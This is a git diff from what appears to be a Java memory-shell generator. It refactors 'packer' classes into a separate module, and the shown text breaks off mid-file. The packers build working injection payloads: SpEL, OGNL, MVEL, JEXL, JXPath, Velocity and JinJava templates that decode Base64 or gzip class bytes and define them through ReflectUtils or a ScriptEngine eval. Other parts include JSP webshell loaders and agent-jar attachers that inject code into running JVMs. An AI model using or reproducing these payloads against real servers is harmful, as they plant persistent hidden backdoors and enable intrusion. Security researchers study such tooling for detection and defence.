getPackageName(jarPackerConfig.getMainClassName()); String mainClassName = packageName + "." + Attacher.class.getSimpleName(); - Manifest manifest = createManifest(generateResult.getInjectorClassName(), mainClassName); + Manifest manifest = createManifest(jarPackerConfig.getMainClassName(), mainClassName); String relocatePrefix = "shade/"; Map classes = new HashMap<>(); @@ -46,7 +45,7 @@ public class AgentJarWithJDKAttacherPacker implements JarPacker { ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) { addDependencies(targetJar, relocatePrefix); - addClassesToJar(targetJar, generateResult, relocatePrefix); + addClassesToJar(targetJar, jarPackerConfig.getClassBytes(), relocatePrefix); for (Map.Entry entry : classes.entrySet()) { String className = entry.getKey(); byte[] bytes = entry.getValue(); @@ -77,24 +76,9 @@ public class AgentJarWithJDKAttacherPacker implements JarPacker { } @SneakyThrows - private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) { + private void addClassesToJar(JarOutputStream targetJar, Map bytes, String relocatePrefix) { String dependencyPackage = Opcodes.class.getPackage().getName(); - // Add injector class - addClassEntry(targetJar, - generateResult.getInjectorClassName(), - generateResult.getInjectorBytes(), - dependencyPackage, - relocatePrefix); - - // Add shell class - addClassEntry(targetJar, - generateResult.getShellClassName(), - generateResult.getShellBytes(), - dependencyPackage, - relocatePrefix); - - // Add inner classes - for (Map.Entry entry : generateResult.getInjectorInnerClassBytes().entrySet()) { + for (Map.Entry entry : bytes.entrySet()) { addClassEntry(targetJar, entry.getKey(), entry.getValue(), diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarWithJREAttacherPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJREAttacherPacker.java similarity index 85% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarWithJREAttacherPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJREAttacherPacker.java index 3a4abac2..5d8754ff 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarWithJREAttacherPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJREAttacherPacker.java @@ -1,11 +1,10 @@ -package com.reajason.javaweb.memshell.packer.jar; +package com.reajason.javaweb.packer.jar; import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.asm.ClassRenameUtils; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.jar.attach.Attacher; -import com.reajason.javaweb.memshell.packer.jar.attach.VirtualMachine; -import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.packer.JarPackerConfig; +import com.reajason.javaweb.packer.jar.attach.Attacher; +import com.reajason.javaweb.packer.jar.attach.VirtualMachine; import com.sun.jna.Platform; import com.sun.jna.platform.DesktopWindow; import lombok.SneakyThrows; @@ -34,10 +33,10 @@ public class AgentJarWithJREAttacherPacker implements JarPacker { @Override @SneakyThrows - public byte[] packBytes(GenerateResult generateResult) { - String packageName = CommonUtil.getPackageName(generateResult.getInjectorClassName()); + public byte[] packBytes(JarPackerConfig jarPackerConfig) { + String packageName = getPackageName(jarPackerConfig.getMainClassName()); String mainClassName = packageName + "." + Attacher.class.getSimpleName(); - Manifest manifest = createManifest(generateResult.getInjectorClassName(), mainClassName); + Manifest manifest = createManifest(jarPackerConfig.getMainClassName(), mainClassName); String relocatePrefix = "shade/"; Map classes = new HashMap<>(); @@ -48,7 +47,7 @@ public class AgentJarWithJREAttacherPacker implements JarPacker { ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) { addDependencies(targetJar, relocatePrefix); - addClassesToJar(targetJar, generateResult, relocatePrefix); + addClassesToJar(targetJar, jarPackerConfig.getClassBytes(), relocatePrefix); for (Map.Entry entry : classes.entrySet()) { String className = entry.getKey(); byte[] bytes = entry.getValue(); @@ -97,24 +96,9 @@ public class AgentJarWithJREAttacherPacker implements JarPacker { } @SneakyThrows - private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) { + private void addClassesToJar(JarOutputStream targetJar, Map bytes, String relocatePrefix) { String dependencyPackage = Opcodes.class.getPackage().getName(); - // Add injector class - addClassEntry(targetJar, - generateResult.getInjectorClassName(), - generateResult.getInjectorBytes(), - dependencyPackage, - relocatePrefix); - - // Add shell class - addClassEntry(targetJar, - generateResult.getShellClassName(), - generateResult.getShellBytes(), - dependencyPackage, - relocatePrefix); - - // Add inner classes - for (Map.Entry entry : generateResult.getInjectorInnerClassBytes().entrySet()) { + for (Map.Entry entry : bytes.entrySet()) { addClassEntry(targetJar, entry.getKey(), entry.getValue(), diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java new file mode 100644 index 00000000..7d18307c --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb.packer.jar; + +import com.reajason.javaweb.packer.JarPackerConfig; +import lombok.SneakyThrows; + +import java.io.ByteArrayOutputStream; +import java.util.Map; +import java.util.jar.JarEntry; +import java.util.jar.JarOutputStream; +import java.util.jar.Manifest; + +/** + * @author ReaJason + * @since 2025/1/22 + */ +public class DefaultJarPacker implements JarPacker { + + @Override + @SneakyThrows + public byte[] packBytes(JarPackerConfig jarPackerConfig) { + Manifest manifest = new Manifest(); + manifest.getMainAttributes().putValue("Manifest-Version", "1.0"); + + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); + try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) { + for (Map.Entry entry : jarPackerConfig.getClassBytes().entrySet()) { + targetJar.putNextEntry(new JarEntry(entry.getKey().replace('.', '/') + ".class")); + targetJar.write(entry.getValue()); + targetJar.closeEntry(); + } + } + return byteArrayOutputStream.toByteArray(); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/JarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/JarPacker.java new file mode 100644 index 00000000..9c35f0f9 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/JarPacker.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.packer.jar; + +import com.reajason.javaweb.packer.JarPackerConfig; +import com.reajason.javaweb.packer.Packer; + +/** + * @author ReaJason + * @since 2025/1/1 + */ +public interface JarPacker extends Packer { + /** + * 将生成的类打包成 jar + * + * @param config 生成的类信息 + * @return 字节数组 + */ + byte[] packBytes(JarPackerConfig config); + + default String getPackageName(String mainClassName) { + return mainClassName.substring(0, mainClassName.lastIndexOf(".")); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/attach/Attacher.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/attach/Attacher.java similarity index 99% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/attach/Attacher.java rename to packer/src/main/java/com/reajason/javaweb/packer/jar/attach/Attacher.java index 43b4447f..8fc883ef 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/attach/Attacher.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/attach/Attacher.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.packer.jar.attach;/* +package com.reajason.javaweb.packer.jar.attach;/* * Copyright 2014 - Present Rafael Winterhalter * * Licensed under the Apache License, Version 2.0 (the "License"); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/attach/VirtualMachine.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/attach/VirtualMachine.java similarity index 99% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/attach/VirtualMachine.java rename to packer/src/main/java/com/reajason/javaweb/packer/jar/attach/VirtualMachine.java index 0049a0e0..17ca7d18 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/attach/VirtualMachine.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/attach/VirtualMachine.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.packer.jar.attach;/* +package com.reajason.javaweb.packer.jar.attach;/* * Copyright 2014 - Present Rafael Winterhalter * * Licensed under the Apache License, Version 2.0 (the "License"); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jexl/JEXLPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jexl/JEXLPacker.java similarity index 57% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/jexl/JEXLPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/jexl/JEXLPacker.java index 3402a5e6..4e55090e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jexl/JEXLPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jexl/JEXLPacker.java @@ -1,8 +1,8 @@ -package com.reajason.javaweb.memshell.packer.jexl; +package com.reajason.javaweb.packer.jexl; -import com.reajason.javaweb.memshell.Packers; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason @@ -12,8 +12,8 @@ public class JEXLPacker implements Packer { String template = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')"; @Override - public String pack(GenerateResult generateResult) { - String script = Packers.ScriptEngine.getInstance().pack(generateResult); + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jinjava/JinJavaPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jinjava/JinJavaPacker.java similarity index 61% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/jinjava/JinJavaPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/jinjava/JinJavaPacker.java index 4ba27354..981720e9 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jinjava/JinJavaPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jinjava/JinJavaPacker.java @@ -1,8 +1,8 @@ -package com.reajason.javaweb.memshell.packer.jinjava; +package com.reajason.javaweb.packer.jinjava; -import com.reajason.javaweb.memshell.Packers; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason @@ -12,8 +12,8 @@ public class JinJavaPacker implements Packer { String template = "{{ ''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(''.getClass().forName('java.io.StringReader').getConstructors()[0].newInstance('{{script}}')) }}"; @Override - public String pack(GenerateResult generateResult) { - String script = Packers.ScriptEngine.getInstance().pack(generateResult); + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/ClassLoaderJspPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspPacker.java similarity index 52% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/ClassLoaderJspPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspPacker.java index 6bf705be..c215ea7b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/ClassLoaderJspPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspPacker.java @@ -1,7 +1,7 @@ -package com.reajason.javaweb.memshell.packer.jsp; +package com.reajason.javaweb.packer.jsp; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; import lombok.SneakyThrows; import org.apache.commons.io.IOUtils; @@ -26,9 +26,8 @@ public class ClassLoaderJspPacker implements Packer { @Override @SneakyThrows - public String pack(GenerateResult generateResult) { - String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); - String injectorClassName = generateResult.getInjectorClassName(); - return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str); + public String pack(ClassPackerConfig config) { + return jspTemplate.replace("{{className}}", config.getClassName()) + .replace("{{base64Str}}", config.getClassBytesBase64Str()); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefineClassJspPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/DefineClassJspPacker.java similarity index 68% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefineClassJspPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/jsp/DefineClassJspPacker.java index c71e3f29..a3458508 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefineClassJspPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jsp/DefineClassJspPacker.java @@ -1,7 +1,7 @@ -package com.reajason.javaweb.memshell.packer.jsp; +package com.reajason.javaweb.packer.jsp; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; import lombok.SneakyThrows; import org.apache.commons.io.IOUtils; @@ -28,11 +28,11 @@ public class DefineClassJspPacker implements Packer { @Override @SneakyThrows - public String pack(GenerateResult generateResult) { - String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); - String injectorClassName = generateResult.getInjectorClassName(); + public String pack(ClassPackerConfig config) { + String injectorBytesBase64Str = config.getClassBytesBase64Str(); + String injectorClassName = config.getClassName(); String template = this.template; - if (generateResult.getShellConfig().needByPassJavaModule()) { + if (config.isByPassJavaModule()) { template = bypassTemplate; } return template.replace("{{className}}", injectorClassName) diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspPacker.java new file mode 100644 index 00000000..cd2a2dbd --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspPacker.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.packer.jsp; + +import com.reajason.javaweb.packer.AggregatePacker; + +/** + * @author ReaJason + * @since 2024/11/26 + */ +public class JspPacker implements AggregatePacker { +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/JspxPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxPacker.java similarity index 51% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/JspxPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxPacker.java index 4587072d..b628fc4d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/JspxPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxPacker.java @@ -1,7 +1,7 @@ -package com.reajason.javaweb.memshell.packer.jsp; +package com.reajason.javaweb.packer.jsp; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; import lombok.SneakyThrows; import org.apache.commons.io.IOUtils; @@ -26,9 +26,8 @@ public class JspxPacker implements Packer { @Override @SneakyThrows - public String pack(GenerateResult generateResult) { - String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); - String injectorClassName = generateResult.getInjectorClassName(); - return jspxTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str); + public String pack(ClassPackerConfig config) { + return jspxTemplate.replace("{{className}}", config.getClassName()) + .replace("{{base64Str}}", config.getClassBytesBase64Str()); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jxpath/JXPathPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathPacker.java similarity index 54% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/jxpath/JXPathPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathPacker.java index 343f3867..a16c36c7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jxpath/JXPathPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathPacker.java @@ -1,8 +1,8 @@ -package com.reajason.javaweb.memshell.packer.jxpath; +package com.reajason.javaweb.packer.jxpath; -import com.reajason.javaweb.memshell.Packers; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason @@ -12,8 +12,8 @@ public class JXPathPacker implements Packer { String template = "eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), '{{script}}')"; @Override - public String pack(GenerateResult generateResult) { - String script = Packers.ScriptEngine.getInstance().pack(generateResult); + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/mvel/MVELPacker.java similarity index 54% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/mvel/MVELPacker.java index abcfaf00..fb7018c8 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/mvel/MVELPacker.java @@ -1,8 +1,8 @@ -package com.reajason.javaweb.memshell.packer.mvel; +package com.reajason.javaweb.packer.mvel; -import com.reajason.javaweb.memshell.Packers; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason @@ -12,8 +12,8 @@ public class MVELPacker implements Packer { String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')"; @Override - public String pack(GenerateResult generateResult) { - String script = Packers.ScriptEngine.getInstance().pack(generateResult); + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLPacker.java similarity index 54% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLPacker.java index 3237a77f..d531cbdd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLPacker.java @@ -1,8 +1,8 @@ -package com.reajason.javaweb.memshell.packer.ognl; +package com.reajason.javaweb.packer.ognl; -import com.reajason.javaweb.memshell.Packers; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason @@ -12,8 +12,8 @@ public class OGNLPacker implements Packer { String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')"; @Override - public String pack(GenerateResult generateResult) { - String script = Packers.ScriptEngine.getInstance().pack(generateResult); + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); return template.replace("{{script}}", script); } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/rhino/RhinoPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/rhino/RhinoPacker.java new file mode 100644 index 00000000..f55ddc4e --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/rhino/RhinoPacker.java @@ -0,0 +1,17 @@ +package com.reajason.javaweb.packer.rhino; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +/** + * @author ReaJason + * @since 2025/1/30 + */ +public class RhinoPacker implements Packer { + + @Override + public String pack(ClassPackerConfig config) { + return Packers.ScriptEngine.getInstance().pack(config); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/scriptengine/ScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java similarity index 57% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/scriptengine/ScriptEnginePacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java index 0d78a243..de37d4ba 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/scriptengine/ScriptEnginePacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java @@ -1,7 +1,7 @@ -package com.reajason.javaweb.memshell.packer.scriptengine; +package com.reajason.javaweb.packer.scriptengine; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; import lombok.SneakyThrows; import org.apache.commons.io.IOUtils; @@ -26,11 +26,9 @@ public class ScriptEnginePacker implements Packer { @Override @SneakyThrows - public String pack(GenerateResult generateResult) { - String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); - String injectorClassName = generateResult.getInjectorClassName(); - return jsTemplate.replace("{{className}}", injectorClassName) - .replace("{{base64Str}}", injectorBytesBase64Str) + public String pack(ClassPackerConfig config) { + return jsTemplate.replace("{{className}}", config.getClassName()) + .replace("{{base64Str}}", config.getClassBytesBase64Str()) .replace("\n", "") .replaceAll("(?m)^[ \t]+|[ \t]+$", "") .replaceAll("[ \t]{2,}", " "); diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELPacker.java new file mode 100644 index 00000000..3d0ee510 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELPacker.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.packer.spel; + +import com.reajason.javaweb.packer.AggregatePacker; + +/** + * @author ReaJason + * @since 2025/1/26 + */ +public class SpELPacker implements AggregatePacker { +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELScriptEnginePacker.java similarity index 56% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELScriptEnginePacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/spel/SpELScriptEnginePacker.java index 4afc2974..c2c9a95a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELScriptEnginePacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELScriptEnginePacker.java @@ -1,8 +1,8 @@ -package com.reajason.javaweb.memshell.packer.spel; +package com.reajason.javaweb.packer.spel; -import com.reajason.javaweb.memshell.Packers; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason @@ -12,8 +12,8 @@ public class SpELScriptEnginePacker implements Packer { String template = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval('{{script}}')"; @Override - public String pack(GenerateResult generateResult) { - String script = Packers.ScriptEngine.getInstance().pack(generateResult); + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); return template.replace("{{script}}", script); } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipPacker.java new file mode 100644 index 00000000..33a6f58c --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipPacker.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb.packer.spel; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import lombok.SneakyThrows; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.util.Base64; +import java.util.zip.GZIPOutputStream; + + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class SpELSpringIOUtilsGzipPacker implements Packer { + String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()"; + + @Override + @SneakyThrows + public String pack(ClassPackerConfig config) { + return template.replace("{{className}}", config.getClassName()) + .replace("{{base64Str}}", Base64.getEncoder().encodeToString(gzipCompress(config.getClassBytes()))); + } + + public static byte[] gzipCompress(byte[] data) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + try (GZIPOutputStream gzip = new GZIPOutputStream(out)) { + gzip.write(data); + } + return out.toByteArray(); + } +} \ No newline at end of file diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringUtilsPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringUtilsPacker.java new file mode 100644 index 00000000..b0b99bee --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringUtilsPacker.java @@ -0,0 +1,18 @@ +package com.reajason.javaweb.packer.spel; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class SpELSpringUtilsPacker implements Packer { + String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()"; + + @Override + public String pack(ClassPackerConfig config) { + return template.replace("{{className}}", config.getClassName()) + .replace("{{base64Str}}", config.getClassBytesBase64Str()); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/velocity/VelocityPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/velocity/VelocityPacker.java similarity index 60% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/velocity/VelocityPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/velocity/VelocityPacker.java index 9da4b0d6..90224d62 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/velocity/VelocityPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/velocity/VelocityPacker.java @@ -1,8 +1,8 @@ -package com.reajason.javaweb.memshell.packer.velocity; +package com.reajason.javaweb.packer.velocity; -import com.reajason.javaweb.memshell.Packers; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason @@ -12,8 +12,8 @@ public class VelocityPacker implements Packer { String template = "#set($x='') #set($cz = $x.class.forName('javax.script.ScriptEngineManager')) $cz.getDeclaredConstructor(null).newInstance().getEngineByName('js').eval('{{script}}')"; @Override - public String pack(GenerateResult generateResult) { - String script = Packers.ScriptEngine.getInstance().pack(generateResult); + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); return template.replace("{{script}}", script); } } diff --git a/generator/src/main/resources/XXL-Job-DefineClass.java b/packer/src/main/resources/XXL-Job-DefineClass.java similarity index 100% rename from generator/src/main/resources/XXL-Job-DefineClass.java rename to packer/src/main/resources/XXL-Job-DefineClass.java diff --git a/generator/src/main/resources/shell.groovy b/packer/src/main/resources/shell.groovy similarity index 100% rename from generator/src/main/resources/shell.groovy rename to packer/src/main/resources/shell.groovy diff --git a/generator/src/main/resources/shell.js b/packer/src/main/resources/shell.js similarity index 100% rename from generator/src/main/resources/shell.js rename to packer/src/main/resources/shell.js diff --git a/generator/src/main/resources/shell.jsp b/packer/src/main/resources/shell.jsp similarity index 78% rename from generator/src/main/resources/shell.jsp rename to packer/src/main/resources/shell.jsp index 9cb68578..43d180b3 100644 --- a/generator/src/main/resources/shell.jsp +++ b/packer/src/main/resources/shell.jsp @@ -1,3 +1,10 @@ +<%@ page import="java.lang.*" %> +<%@ page import="java.lang.Class" %> +<%@ page import="java.lang.ClassLoader" %> +<%@ page import="java.lang.ClassNotFoundException" %> +<%@ page import="java.lang.Object" %> +<%@ page import="java.lang.String" %> +<%@ page import="java.lang.Thread" %> <%! public static class ClassDefiner extends ClassLoader { public ClassDefiner(ClassLoader classLoader) { diff --git a/generator/src/main/resources/shell.jspx b/packer/src/main/resources/shell.jspx similarity index 100% rename from generator/src/main/resources/shell.jspx rename to packer/src/main/resources/shell.jspx diff --git a/generator/src/main/resources/shell1.jsp b/packer/src/main/resources/shell1.jsp similarity index 77% rename from generator/src/main/resources/shell1.jsp rename to packer/src/main/resources/shell1.jsp index 7db82be2..4fbe35de 100644 --- a/generator/src/main/resources/shell1.jsp +++ 